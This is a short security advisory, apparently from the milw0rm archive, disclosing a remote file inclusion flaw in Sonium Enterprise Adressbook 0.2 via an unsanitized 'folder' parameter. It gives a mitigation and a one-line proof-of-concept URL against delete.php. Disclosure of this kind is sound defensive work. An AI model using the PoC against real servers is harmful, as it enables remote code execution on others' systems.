Sonium Enterprise Adressbook <= 0.2 (folder) Include Vulnerability

+-------------------------------------------------------------------- + + Sonium Enterprise Adressbook Version 0.2 (folder) RFI + + Original advisory: + http://www.bb-pcsecurity.de/Websecurity/342/org/Sonium_Enterprise_Adressbook_Version_0.2_(folder)_RFI.htm + +-------------------------------------------------------------------- + + Affected Software .: Sonium Enterprise Adressbook Version 0.2 + Venedor ...........: http://www.sonium-php.de + Class .............: Remote File Inclusion + Risk ..............: high (Remote File Execution) + Found by ..........: Philipp Niedziela + Contact ...........: webmaster[at]bb-pcsecurity[.]de + +-------------------------------------------------------------------- + + Affected Files: + /plugins/*.php (not config.php) + + First lines of all these scripts: + ..... + include(&#34;$folder/config.php&#34;); + ..... + +-------------------------------------------------------------------- + + $folder is not properly sanitized before being used + +-------------------------------------------------------------------- + + Solution: + Deny direct access to all files in folder &#34;plugins&#34; + or modify code: + + if(!isset($_REQUEST[&#39;folder&#39;]) && !isset($_GET[&#39;folder&#39;]) && !isset($_POST[&#39;folder&#39;])){ + //code of org. *.php + } + else { + echo &#34;You cannot access this file directly.&#34;; + die(); + } + +-------------------------------------------------------------------- + + PoC: + + http://[target]/plugins/1_Adressbuch/delete.php?folder=[script] + +-------------------------------------------------------------------- + + Greets: /str0ke + +-------------------------[ E O F ]---------------------------------- # milw0rm.com [2006-08-18]